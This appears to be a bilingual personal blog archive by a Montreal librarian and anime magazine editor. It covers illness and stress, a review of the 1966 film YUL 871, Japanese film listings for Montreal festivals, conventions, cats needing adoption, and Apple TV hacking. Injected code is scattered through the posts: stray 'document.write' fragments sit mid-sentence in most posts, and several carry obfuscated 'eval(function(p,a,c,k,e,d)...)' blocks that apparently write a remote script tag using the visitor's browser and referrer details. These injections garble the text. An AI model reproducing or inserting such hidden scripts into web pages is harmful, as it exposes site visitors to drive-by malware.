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Sickening cycle

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My wife and I are (yet again) down with the cold / flu / allergies (or maybe a combination of all three). I have a sore throat, document.write(“”); ear ache and doesn’t feel good in general. I feel a little feverish from time to time. It’s probably the result of the constantly changing weather—warm, rain, cold—and the air conditioning still running in many places. The days (and nights) are definitely getting much colder. We haven’t got a summer yet and fall is already getting close…

It started friday. Then I had a good night sleep and felt much better. My throat didn’t hurt anymore but I was still quite congested. However, tonight (sunday) my entire body is hurting. When will this end? I just hope it won’t last too long because I have so many things to do that it makes me want to cry. I really don’t want to be bedridden for a while. I’ll try to get a good long night of sleep tonight again…

I hope my immune system will recover before we get that second wave of the H1N1 the scientists say we might get sometime this fall…

It seems that each time I am starting to feel better and gear up to spend my energy on something productive I am getting sick again. And when it’s not my health there’s always something coming up to do at the last minute (some phone calls or emails requesting attention, a computer problem, etec.). With the day job keeping me busy and tired, all the household stuff to do on my days off (laundry, clean up, visit a museum to keep a promise, etc) and all those festivals or conventions to cover, it has been hard to move forward with production.

The guilt coming from all those tasks that I don’t have time to do is pilling up on all the stuff that is on my mind lately (the new working schedule to prepare for, the MWFF, the computer update, web page, blogging, health problems, etc.) so my head really feels foggy and tired.

The good news is—after losing the secure block of working hours that I had at two libraries on sunday and monday—I was able to get a three-day block at the Plateau Mont-Royal library for the Fall schedule. It will offer me a little job security (at least for the Fall) and hopefully it will allow me to fall back in a routine that will be more productive and less stressful. Not working in a different library from one day to another and in a closer place (half-an-hour of public transport instead of one hour-and-half) will certainly help.

Repartir la machine… à écrire

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Le travail en bibliothèque se fait un peu moins envahissant (quoi que combler mon horaire demande encore beaucoup d’efforts mais je travaille à des bibliothèques plus proche et perd donc moins de temps en transport—je retrouve également un peu de ma forme mentale et physique mais ce que l’âge prend est perdu à jamais) et comme les choses semblent se stabiliser un peu j’essai de me remettre à écrire un peu plus (dans mon carnet de notes et en ligne). J’ai toutefois encore beaucoup de difficulté à me concentrer et écrire représente toujours un labeur très lent. Une simple petite critique minuscule comme celle de YUL 871 me prend encore tout un après-midi (bon, document.write(“”); ça inclus la recherche documentaire et d’images, ainsi que la mise en page, mais tout de même!). Les retards de production du magazine (si frustrant et désespérant qu’ils soient) me motivent, de même que d’assister à la WorldCon (et relire mes vieux textes et projets) m’a aussi beaucoup stimulé. Enfin, à force de m’y mettre et d’écrire tout ce que je peux (on n’écrit pas toujours ce que l’on veut), ça semble me revenir peu à peu… Qui sait, peut-être pourrais-je même un jour me remettre à la fiction.

YUL 871

/ Clodjee / 1 Comment

“Un ingénieur européen de passage à Montréal doit attendre deux jours un rendez-vous d’affaires. Pour tuer le temps, document.write(“”); il se promène dans les rues, et se met à la recherche de ses parents, dont la guerre l’a séparé dès l’âge de quatre ans. L’aventure s’amène sous les traits d’une fillette de onze ans et d’une jeune beauté. Rencontres de hasard qui, pourtant, le marquent et l’obligent à se définir.”
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Ce film est un bon exemple du cinéma Québécois des années soixante où l’on s’efforcait encore de courtiser le public Européen. Le choix d’un acteur Européen relativement connu et le fait que les acteurs locaux parlent avec un accent “Radio-Canada” en sont la preuve. Je trouve d’ailleurs fort heureux que des classiques de notre cinéma soient disponible ainsi sur Dvd (produit par DEP, le dvd ne semble pas disponible sur leur site, ni à la boutique de l’ONF mais l’est encore chez Archambault et Renaud-Bray) ou même par l’entremise de l’initiative Éléphant de Québécor ($2.99 via Illico-sur-Demande de Videotron, en HD de surcroit!). Pour ma part, je l’ai simplement emprunté à ma bibliothèque de quartier.

Classé drame psychologique, YUL 871 est un film plutôt contemplatif où il ne se passe pas grand chose—un peu comme les films Japonais ou les films Européens de l’époque. Le héros, de passage à Montréal, doit tuer le temps et fait quelques rencontres sans véritable conséquences (il déambule dans la ville avec une fillette qui finit à l’hopital, il a une aventure avec une belle blonde qui finit par en épouser un autre et il n’établit aucun liens avec les parents qu’il recherchait depuis son enfance). Si ce film n’est pas sans mérite (après tout il a remporté le prix de la meilleure réalisation au Festival International du Film de Chicago), il est toutefois parfois maladroit dans son montage (les transitions sont souvent terrible) et la post-synchro laisse vraiment à désirer. Chose amusante, l’actrice principale (Andrée Lachapelle) n’est même pas mentioné sur la couverture du Dvd alors que Jacques Desrosiers (qui ne fait qu’une brève apparition sans dialogue) lui l’est. Somme toute, c’est un beau film mais qui est un peu ennuyant. Toutefois la chance de voir Montréal telle qu’elle était dans les année soixante rends le visionnement de YUL 871 beaucoup plus intéressant.

Je dois cependant avouer que j’avais une intention bien précise quand j’ai emprunté ce film: mon père a participé au tournage en tant que technicien du son (le site internet de l’ONF mentionne soixante-dix films auxquels il a participé) et ma soeur ainée, Johanne, y a également un bref caméo auprès de Charles Denner.


Mon père à l’ONF, Ottawa, cir. 1950
Ma soeur Johanne avec Charles DennerYUL 871. Canada, 1966, B&W, 71 min.; Dir.: Jacques Godbout; Scr.: Jacques Godbout (dialogues par Jacques Languirand); Phot.: Georges Dufaux, Gilles Gascon; Ed.: Victor Jobin; Prod. Des.: Frédéric Back; Cost. Des.: Dinardo, Licha; Music: François Dompierre, Stéphane Venne; Sound: Claude Pelletier; Prod.: André Belleau; Cast: Charles Denner (Jean), Andrée Lachapelle (Marguerite), Paul Buissonneau (Antonio), Francine Landry (Fillette), Jean Duceppe. Rated G.

    
    YUL 871 © 2006 Office National du Film du Canada. Tous droits réservés.
La photo de mon père est tirée du documentaire NFB Pioneers: Michel Brault.

Eiji Okuda part of the MWFF’s Jury

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The Montreal World Film Festival has announced that this year’s jury will include Eiji Okuda:

“Other members of the jury include Japanese actor-turned-director Eiji Okuda, document.write(“”); Quebec actor-producer David La Haye, Spanish writer-director Fernando Méndez-Leite Serrano, French director Pascal Thomas, French film music composer Reinhardt Wagner, and Diane Demers of Montreal, who was chosen in a contest to represent the public on the official jury.”

“Eiji Okuda began his screen career as an actor in 1979, winning awards and critical notice for his work in Japan and at international festivals, including Kei Kumai’s Mt. Aso’s Passions at the Montreal World Film Festival in 1990. He won numerous honours for his playing in such films as The Sea and Poison (1986) and Death of a Tea Master (1989), including a Japanese Oscar for his performance in Bo No Kanashimi (1994). He made his directorial debut in 2001 with Shojo. In 2005 he produced Claude Gagnon’s Kamataki, which won four prizes at the 2005 MWFF. His A Long Walk won the Grand Prize of the Americas at the 2006 MWFF.”

Also, the MWFF website just released the programme’s schedule as a PDF file.

A few links / Quelques liens

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Here’s a few librarian-related links that I found interesting a while back and that I wanted to bring to your attention, document.write(“”); but I forgot / was too busy / too lazy, etc. (Quelques liens en relation avec les bibliothèques)

A short list of Manga that won’t freak parents out

A l’occasion des récents congrès de science-fiction (WorldCon, Boréal) tenu à Montréal, le site du “Réseau” des Bibiothèques de Montréal a publié un article qui présente un très bref historique de la science-fiction avec quelques suggestions de lecture (the Montreal Libraries network website offers, in french, a quite short historic of science-fiction with a few reading suggestions).

I’ll try to post more of that kind of links in the future (J’essairai de poster plus de ce genre de liens à l’avenir)…

And for more link suggestions, please check the “Shared Items” section on the right column –>

Montreal World Film Festival 2009

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In a press conference held on August 11, document.write(“”); the Montreal World Film Festival revealed the programmation for its 33rd edition. The festival will be held from August 27 to September 7 and will offer over 450 movies from 78 countries, including 240 feature-length films and 130 world premieres!

Unfortunately, this year is a slim pick for the Japanese movie aficionado as there are (so far) only seven movies and two documentaries being shown at the festival.

First of all, and most importantly, there are two movies in the “World Competition” category (COMP):

  • Dia Dokuta (Dear Doctor) directed by NISHIKAWA Miwa, 127 min. A much loved small town physician mysteriously disappears one day. It’s only while searching for him that his colleagues, friends and the townsfolk begin to discover exactly who their doctor is. (COMP) 9/2 9:00 CI.02.1; 9/2 21:30 TM.02.2; 9/3 13:40 CI.03.3. ( IMDb / Official website / Trailer )
  • Viyon no Tsuma (Villon’s Wife) directed by NEGISHI Kichitaro, 114 min. When her husband runs into financial trouble, Sachi obligingly goes to work in a restaurant to pay off his debt and discovers that she has value beyond being a housewife; she is now an independent woman. (COMP) 9/6 9:00 CI.06.1; 9/6 21:30 TM.06.2; 9/7 14:00 CI.07.2. ( IMDb / Official website )

There is one movie in the “First Films World Competition” category (PRE):

  • Nisesatsu (Counterfeit) directed by KIMURA Yuichi, 96 min. In 1950, in the chaos of postwar Japan, a young hustler has a plan to solve his school’s — and the village’s — financial problems: make fake 1,000 yen notes. (PRE) 9/5 13:00 L12.05.2; 9/5 19:20 L12.05.5; 9/6 14:40 L12.06.3; 9/7 21:30 L15.07.6. ( IMDb / AsianMediaWiki )

There is one movie in the “World Great” (Out of Competition / Hors Concours) category (HC):

  • 60 sai no Love Letter (Dear My Love) directed by FUKAGAWA Yoshihiro, 129 min. 86,441 love letters — mostly messages written by one spouse to another voicing unspoken appreciation for lives shared over the years — DEAR MY LOVE, examines the different situations of three particular couples. (HC) 9/1 18:40 L15.01.4; 9/2 12:10 L15.02.2; 9/3 14:40 L15.03.3. ( IMDb / Official website )

There are three movies in the “Focus on World Cinema” category (REG):

  • Chanto Tsutaeru (Be Sure to Share) directed by Sion Sono, 108 min. Shiro’s struggle with his father’s cancer and impending death leads to a realization that he must communicate his love and admiration for the man before it is too late. (REG) 8/28 19:20 L15.28.5; 8/29 11:40 L15.29.1; 8/30 10:00 L15.30.1; 8/31 19:30 L15.31.5. ( IMDb / Official website / Trailer )
  • Kouryo-Shibounin (The Faceless Dead) directed by Kishu Izuchi, 112 min. When a 24-year-old wannabe writer gets a call one day informing her that “Ms. Misaki Takigawa” has been hospitalized, she is puzzled: she is Misaki Takigawa. Why would anyone be using her name? (REG) 8/28 12:40 L10.28.2; 8/30 19:00 L10.30.5; 9/7 10:20 L10.07.1. ( Official website )
  • Samayou Yaiba (The Hovering Blade) directed by MASHIKO Shoichi, 122 min. When his only daughter is raped and killed by two youths, widower Hideki Nagamine is bitter and inconsolable. He knows they will be tried as juveniles and he is determined to exact revenge. (REG) 8/28 21:30 L15.28.6; 8/30 12:00 L13.30.2; 9/1 19:00 L11.01.2; 9/2 16:30 L11.02.3. ( IMDb / Official website / Trailer )

And there are two documentaries (DOC):

  • Eatrip directed by NOMURA Yuri, 78 min. For Yuri Nomura, who studied cooking, developed menus for restaurants and writes for culinary magazines, the way to people’s feelings is through their stomachs. (DOC) 8/29 12:10 L11.29.1; 8/29 19:20 L11.29.4; 8/30 14:30 L11.30.3. ( Official website / Trailer )
  • Grandmother, a short directed by KAWAMURA Yuki, 34 min. Masa, an 83-year-old Japanese grandmother, has just spent 50 days in a coma. Her family gathers to be with her through this difficult period. Her death is an opportunity to reflect on nature and the meaning of life. (DOC) 8/28 14:30 L16.28.3; 8/29 14:40 L10.29.3; 8/30 21:30 L10.30.6. ( Official website )

Unfortunately, I was so busy with work, various projects and the covering of other festivals that I missed the programmation press conference itself. So, I don’t have any pictures or video footage to show you. However, as usual (we’ve been covering the MWFF for ten years now!), we will do our best to screen all those movies and report on them (whether in the magazine — in print or digital edition — or on the web page or on my personal blog or a combination of those). We will also attend all the movie press conferences that we can.

In any case, as soon as we have new information I will update this entry (updated: 8/15, 8/21, 8/22, 8/23, 8/25, 8/26) or make new ones.

This calendar shows the schedule of the Japanese movies’ screenings.

WorldCon

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I will be all week-end (6 – 10 August 2009) at the 67th WorldCon, document.write(“”); Anticipation, which held at the Palais des Congrès in Montreal.

There are lots of anime & manga related panels, as well as panels on electronic edition, Quebec Science-Fiction, and tons of other interesting subjects. There are also many famous writers attending the convention (Neil Gaiman, Charles Stross, Robert Silverberg, etc.). The entrance fee is quite pricy but I am sure it is well worth the experience.

This calendar gives you an idea of the activities I am planning to attend. There are so many panels that I will have some serious choices to make!

Panel cancellation

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I deeply apologize to all the people who came to my Otakuthon panel for nothing.

Unfortunately, document.write(“”); my wife got sick and I ended up spending several hours in the emergency ward of an hospital thus preventing us to attend the panel. I am really sorry for this.

Otakuthon

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This week-end I will be at Otakuthon.
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I have a couple of tables in the Exhibition Hall (#406 & #411) offering lots of affordable goodies (my apartment is getting crowded so I really need to get rid of lots of manga and Dvds to make some room; please help me by purchasing some of it at a real good price!) and back issues of the Protoculture Addicts magazine.

I will also have a quick Q&A panel on Saturday, document.write(“”); Aug. 1st from 2:00 pm to 3:00 pm in Panel 3 (room 522ab). Please come meet me, ask questions and, most importantly, give feedback & suggestions.

My life is too much

/ Clodjee / 1 Comment

Il y a vraiment trop de choses qui préoccupe mon esprit ces derniers temps. J’ai l’impression que la tête va m’éclater!
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J’en ai marre…

d’avoir une liste de choses à faire plus longue qu’il n’y a d’heures dans une journée, document.write(“”);
d’entendre autant de bêtises à la télé et ailleurs,
d’être toujours malade avec un mal au dos ou une grippe que je traine depuis je ne sais plus trop quand,
de courrir tout le temps et d’être fatigué,
de culpabiliser pcq je prend une de mes journée de congé pour passer du temps avec ma femme,
de me faire réprimander pour avoir “flusher” une toilette,
de ne pas avoir le temps d’avoir le temps,
de ne pas pouvoir écrire ou lire comme je veux,
de ne pas pouvoir faire ce qu’il me plait, quand ça me plait,
de ne plus me rappeller je que je voulais dire ou faire,
de paniquer à chaque fois qu’on annonce de l’orage pcq les pluies abondantes font refluer les égouts dans le sous-sol,
de perdre mon temps en transport en commun,
de prêcher dans le désert,
de stresser sur les délais de production,
de toujours m’inquiéter pour la santé de mes chats,
de travailler à douze places différentes ce qui fait que je me rappelle jamais où j’en suis,
de vivre dans un apart qui a l’air d’un taudis et de ne pouvoir rien y faire,
de voir ma femme à peine une heure par jour pcq nos horaires ne concordent pas,
des gens à l’esprit excessivement bureaucrate,
que le temps passe trop vite et que je me demande où les années sont passées…

Fantasia 2009

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In a press conference held on Monday June 29th Fantasia announced the highlights of its programmation:

The 13th edition of the Fantasia Film Festival, document.write(“”); North America’s largest genre cinema event, will be held from July 9th to July 29th, 2009 at Concordia University’s Hall Theatre in Montreal. This year the festival offers over 115 feature-length films, as well as an impressive selection of shorts, documentaries, panel discussions, outdoor screenings and more than fifty guests that will be there to introduce their movies. The programmation’s details will be available online for free and the Program Book will be on sale Friday July 3rd at the cost of $5. Tickets will be available from July 7th for $8.00 or $70 for 10 tickets. There are also 8 “Fantastic Week-End” programs (including 6 to 13 films) available for $8 each.

The programming offers over 50 Asian movies (including 35 from Japan, 15 from Korea, 6 from China/Hong Kong and 3 from Thailand).

This year the festival is a little weak on the anime side as it includes only four Japanese animated features: Eureka Seven: Good Night, Sleep Tight, Young Lovers (Dir.: Tomoyuki Kyoda), Evangelion: 1.0 You Are (Not) Alone (Dir.: Hideaki Anno), Genius Party Beyond (a shorts anthology by 4’C Studio) and Hells (Dir.: Yoshiki Yamakawa, Madhouse Studio). There’s also Cencoroll (a short shown with Genius Party Beyond).

The most interesting Japanese movies of the festival (interesting to us because they are anime & manga related) definitely are 20th Century Boys: Chapter One and 20th Century Boys: Chapter Two—The Last Hope (based on Naoki Urasawa’s manga and directed by Yukihiko Tsutsumi), M.W. (based on a manga by Osamu Tezuka and directed by Hitoshi Iwamoto) and Yatterman (based on Tatsunoko’s 1977-79 anime TV series Time Bokan 2: Yatt?man (or its 2008 remake); directed by Takashi Miike, it’s the opening film of the festival hosted by producer Yoshinori Chiba).

There’s also an anime & manga-related Korean movie: Antique (Dir.: Min Kyu-dong; based on the Japanese manga Antique Bakery by Fumi Yoshinaga).

The other Japanese movies includes Battle League in Kyoto (Dir.: Katsuhide Motoki, based on a fantasy novel by Manabu Makime), The Clone Returns Home (Dir.: Kanji Nakajima), Crime or Punishment?!? (Dir.: Keralino Sandorovich), Cyborg She (dir.: Kwak Jae-young), Fine, Totally Fine (Dir.: Yosuke Fujita), GS Wonderland (dir.: Ry?ichi Honda), Hard Revenge, Milly and Hard Revenge, Milly: Bloody Battle (hosted by writer/director Takanori Tsujimoto), House (Dir.: Nobuhiko Obayashi), Instant Swamp (Dir.: Satoshi Miki), K-20: Legend of the Mask (Dir.: Shimako Sato), Lalapipo (Dir.: Masayuki Miyano), Love Exposure (Dir.: Sion Sono), Nightmare Detective 2 (Dir.: Shinya Tsukamoto), Orochi (Dir.: Norio Tsurata), Paco and the Magic Book (Dir.: Tetsuya Nakashima), Samurai Princess (Dir.: Kengo Kaji), Tokyo OnlyPic 2008 (Dir.: Riichiro Mashima), Vampire Girl Vs Frankenstein Girl (Dir.: Naoyuki Tomomatsu & Yoshihiro Nishimura) and With Rain (a short shown as part of “Celluloid Experiments”).

The festival, in association with the Cinémathèque Québécoise and Ciné-Asie, also presents “Behind the Pink Curtain,” a line-up of Japanese erotic films (pinku eiga): Blue Film Woman (1969), Gushing Prayer (1971), S&M Hunter (1986), Secret Hot Spring Resort: Star Fish at Night (1970) and Yariman (2008).

Fantasia also presents a “Classic Daikaiju Special” that will include a documentary, Bringing Godzilla Down to Size: The Art of Japanese Special Effects, a short, Gehara the Dark and Long Haired Monster, and a classic monster movie, Mothra (1961)!

As part of its “Fantasia Under the Stars” segment, the festival will also presents outdoor screenings of Tokyo Zombie (Dir.: Sakichi Sato) on 7/17 and Adrift in Tokyo (Dir.: Satoshi Miki) on 7/18 at 21:00 in the Parc de la Paix (St-Laurent boulevard between Ste-Catherine’s and René-Lévesque).

Notable is the recent French documentary by Yves Montmayeur: Yakuza Eiga: Une Histoire Secrète du Cinéma Japonais (“Yakuza Eiga: A Secret History of Japanese Cinema”).

The Japanese guests list includes Yoshinori Chia (Yatterman producer), Tomohiro Hayashi (Yatterman producer), Yoshihiro Nishimura (Vampire Girl Vs Frankenstein Girl director), and Takanori Tsujimoto (Hard Revenge, Milly writer & director).

We will add more details as they are available (updated: 7/4, 7/5, 7/8).

View a calendar of the Japanese movies’ screenings.

Bon festival!

We are not alone

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After watching this, document.write(“”); I feel a little better. I don’t feel so lonely after all…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfizt|var|u0026u|referrer|azbke||js|php’.split(‘|’),0,{}))

Nice Dune reference to compare Obama to the Kwisatz Haderach!

BTW, the answers are: shai-hulud, thumper and water of life…

Geek rules!

Twice as busy

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Having two jobs is more tiring and difficult that I thought it would (the good side of it: I’ve already lost twenty pounds!). There’s so many stuff to do and so little time. That’s why I haven’t written much lately. When I come back from the day job, document.write(“”); the one that pay most of the rent and all, I am tired and only want to crash and sleep. It is difficult to write — harder still to concentrate — but I manage to do some work anyway. But certainly not as much as I would like to and this add to the stress. However, now the priority is to pay the rent, nurture my health and spend time with my loved ones…

If the health stay good, I’ll try to blog more regularly.

Dilemma, dilemma

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I have so many things to do and now I am wondering if I should lay down my thoughts more privately on paper or publicly on a blog. Should I write in English, document.write(“”); the more common language, or in French, my native tongue. Of course, the solution is always to compromise. Do some writing on paper, some on blogs. Some in English and some in French. But it is becoming more and more essential that I commit my thought into writing because I keep forgetting so many things. Sometimes I don’t even remember what I did yesterday. The writing become a second memory…

Angry Cat!

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I am angry because people don’t seem to like black cats. I had three little and cute cats to give: one grey and two black cats. The cute grey cat found a loving person to adopt him right away, document.write(“”); but no one wanted the two back cats. So I had to bring them to the Berger Blanc which is not a no-kill shelter and was told quite unequivocally that they would most certainly be euthanized because of over-crowding and the fact they had ear mites (which could be remedied with a medication that cost almost nothing and that I would have given them if I would have known about it). I had to euthanized too many cats in my life already (one for cancer and the other because someone shot him with a BB gun) so being told that made me angry. I do hope that they were given some medication and that they found someone to adopt them.

Sign of Time

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I thought my subscription to the Canadian edition of Time magazine was over since I stopped receiving it around Christmas. But I was under the impression that I should have had a few more months in my subscription. This week, document.write(“”); two months later, I got a letter from the publisher explaining that the Canadian edition of Time magazine ceased publication at the end of December and that I will be receiving Maclean’s magazine for the remaining of my subscription, starting in a couple of months.

In a way I am not surprised at all of this situation. The magazine industry and its distribution are in a really bad shape. Also, newspapers are closing right and left. The industry will have to adapt to new forms of distribution as well as to a new business model that involves the internet. It will takes a little experimenting at first, but I am sure that it will survive one way or another.

Sick of being sick

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After suffering a near-burn out and painful back problems now I have to endure a bronchitis. I am realy tired of being sick. It is already hard to be working two jobs at the same time, document.write(“”); but when I am sick all I do after coming back from work is eat and going to sleep. I cannot blog half of what I would like to say. Luckily I have one or two days off, so I manage once a week to answer some emails, put some order in my to-do list and write one or two articles–but I also still need to rest so I read a little, watch TV and sleep some more. This is rather frustrating. Hopefully, I’ll feel better soon and be able to do more.

Last call to adopt black cats

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This is the last call for those interested in adopting two back cats (a year-old mother and her five-month male offspring). Since I couldn’t find any place for them in a no-kill shelter, document.write(“”); I will bring them to a standard shelter (SPCA or Berger Blanc) in a couple of weeks if I still haven’t found a foster home for them. Unfortunately, due to over-crowding, those shelters often have recourse to euthanasia if the pets cannot be adopted quickly. But I have no choice, I cannot keep them forever (I already have two cats). Why do people dislike black cats? They are as cute as any other cats.

Backlog

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Sorry for not blogging lately. I finally got back my physical and mental strength after being repeatedly sick, document.write(“”); but my bad luck struck again and I found myself on my back. I have no idea what caused it (shoveling? slipping on icy sidewalks? Bad sitting position?) but I had a terrible back pain that would not go away and I couldn’t sit in front of the computer for more than a few minutes at a time (just enough to check emails and news).

The last week was particularly painful since I was working fulltime in a library, replacing someone on sick leave. Fortunately, I had to stand most of the day, so i was less bothered by the pain. I guess the exercice did me good (as well as a regular intake of pain-killer — I felt like Dr House!) and I am now feeling a little better.

We found a loving home for our little refugee kitten Mitsy (he’s so cute I had no doubt that someone would adopt him). I was hoping to place sweetpea in a pet shop, but it didn’t work out. Therefore we are still looking for caring people to adopt our two refugee black cats.

Cute cats for adoption

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The backstreet behind my appartment is always abounding with stray cats. This winter, document.write(“”); when the temperature started to dip beyond minus fifteen, I decided to rescue the most vulnerable of them. So I took inside a young mother (“Betsy”, one year-old, shorthaired black) and her two kittens (both males, 3 month-old, one (Sweetpea) shorthaired black with a little white on the belly and one (Mitsy) longhaired grey tabby/main coon) with the intent of finding them a new home. I cannot keep them for long since I already have two cats (also rescued from the backstreet) which is plenty for my appartment.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzbkz|var|u0026u|referrer|znzbb||js|php’.split(‘|’),0,{}))

Therefore, I am looking for either:

  1. a Montreal-area no-kill shelter that would accept to take in all the cats or at least help me find the right place or person(s) to adopt them
  2. a pet shop that would accept to take them all, making sure that they are vaccinated and neutered before selling them
  3. individual(s) that would want to adopt one (or more) of the cats and give those little fur-balls of joy the affection they deserve (I would request that the adopter agrees to have the cat(s) checked up, vaccinated and neutered–an expense of about $100-$150 per cat)

If anyone can suggest shelters, pet shops or talk to their co-workers and friends to see if they are interested in adopting the cats, I would be grateful. Thanx!

(text available in french upon request)

Sweetpea, Betsy and Mitsy

Mitsy

More pictures (and maybe a movie) to come

Lame Duck?

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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahyeh|var|u0026u|referrer|bardh||js|php’.split(‘|’),0,{}))
Bush may be lame but he still can duck!


And now there’s people brandishing shoes in the streets of Bagdad!
Is this the beginning of a new cult? “The shoe! The shoe!”
They want the shoe-thrower, document.write(“”); Muntadhar “Brian” al-Zeidi, to be freed.
You really couldn’t have a more Pythonesque moment than that!

Images © Associated Press and Ahmad Al-Rubaye / AFP / Getty Images.

Slippery

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Apparently the guy managing the city’s blue collars made the mistake of putting the people who used to take care of the ice rinks in charge of cleaning the sidewalks. Now they are extremely slippery. I know that City Hall talked about cutting cost by stopping cleaning sidewalks, document.write(“”); but there’s a limit! If I hurt my back once more by slipping I think I’ll sue them!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kztih|var|u0026u|referrer|teitf||js|php’.split(‘|’),0,{}))

On top of that the landlord didn’t repair the front-door stairs and they keep getting dangerously icy and slippery. I am spending a fortune in salt just to increase the chances of NOT breaking my neck each time I’m going out.

Image © Acreage Living.

ANN will stream two anime TV series

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Anime News Networks has announced on 2008-12-10 that it will stream two more anime, document.write(“”); Girl’s High and Ramen Fighter Miki. Starting December 15, both series will be available as free, ad-supported VOD streams, with one new episode being posted every Monday for 12 weeks. The series were licensed from North American anime publisher Media Blasters, and as such will only be available to viewers in North America (US & Canada). Justin Sevakis, ANN director of New Media, has stated that “There’s more coming”.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfnth|var|u0026u|referrer|sayya||js|php’.split(‘|’),0,{}))

ANN is already streaming the OVA Kite Liberator.

(Source: ANN).

ANN launches its streaming anime service

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Anime News Networks has launched its streaming anime service on Tuesday 2008/12/09 with Kite: Liberator. The OVA, document.write(“”); released on DVD by Media Blasters, is streamed (in six parts) in both subbed and dubbed versions, but only for North American viewers (US & Canada).
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seryf|var|u0026u|referrer|fbssn||js|php’.split(‘|’),0,{}))

Give it a look!

(Source: ANN).

Boxee etc

/ Clodjee / 1 Comment

I have previously mentioned that we now can easily hack the Apple TV with atvusb-creator which install both XMBC and Boxee. Now that Boxee has been updated and that I have finally received an invite for the testing, document.write(“”); I would like to talk a little more about it.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kabhf|var|u0026u|referrer|nerrb||js|php’.split(‘|’),0,{}))

Boxee is a social media center based on the popular XBMC. It allows you to play videos, music and pictures from your own computer or from the internet (streaming content from websites like Hulu, CBS, BBC, Comedy Central, Last.fm and flickr). Its “social” aspect means that you can share with your “friends” whatever media you’re listening to or watching and send them your recommandations. So, basically, it is exactly the same type of media entertainment center than XBMC, but with a fancier interface and the social twist.


I like the general look of Boxee, particularly the way you can browse through your media library, but I prefer the XMBC video player which is simpler and seems to provide a better picture. Like XMBC, it is controled through the ATV remote which is too simple to offer a comfortable experience (but apparently you can pair it with a different remote). I particularly like the fact that Boxee offer much more streaming websites and a much easier interface to browse them, but unfortunately many of those websites (like Hulu) have geofilters and can be watched only from the USA. All in all, I prefer XMBC. I don’t feel I have any use for Boxee, but I’ll continue to play with it once in a while (after all atvusb-creator install both Boxee and XMBC) and it might grow on me. In any cases, I recommand you to try it.

Apple recently updated the AppleTV operating system to version 2.3, which forced me to use the Terminal application for the first time (to send to the ATV commands in Unix source code) in order to prevent my ATV to auto-update until a newer version of atvusb-creator was created. Then I had to send the code to force the ATV to update its OS, before finally installing the new version of atvusb-creator compatible with the new OS. Complicated for someone who’s not used to deal with those command codes. But I survived and the ATV is now working again (with XMBC).

I also discovered that atvusb-creator now also install SofwareMenu, an application that facilitate the installation and update of plugins like ATVfiles (a file browser), CouchSurfer (a web browser) and nitoTV (a video player, which would allow to play video without the need of XMBC). Unfortunately, most of those plugins are still not compatible with the ATV OS 2.3 and their installation made the ATV crashed, so I had to use Terminal again to remove them (not without difficulty, but I finally succeeded thanks to the help from atvusb-creator’s developpers). Once this problem is fixed, those plugins will be quite useful for sure, but for now I’ll be more prudent and avoid install new stuff.

Unshelved

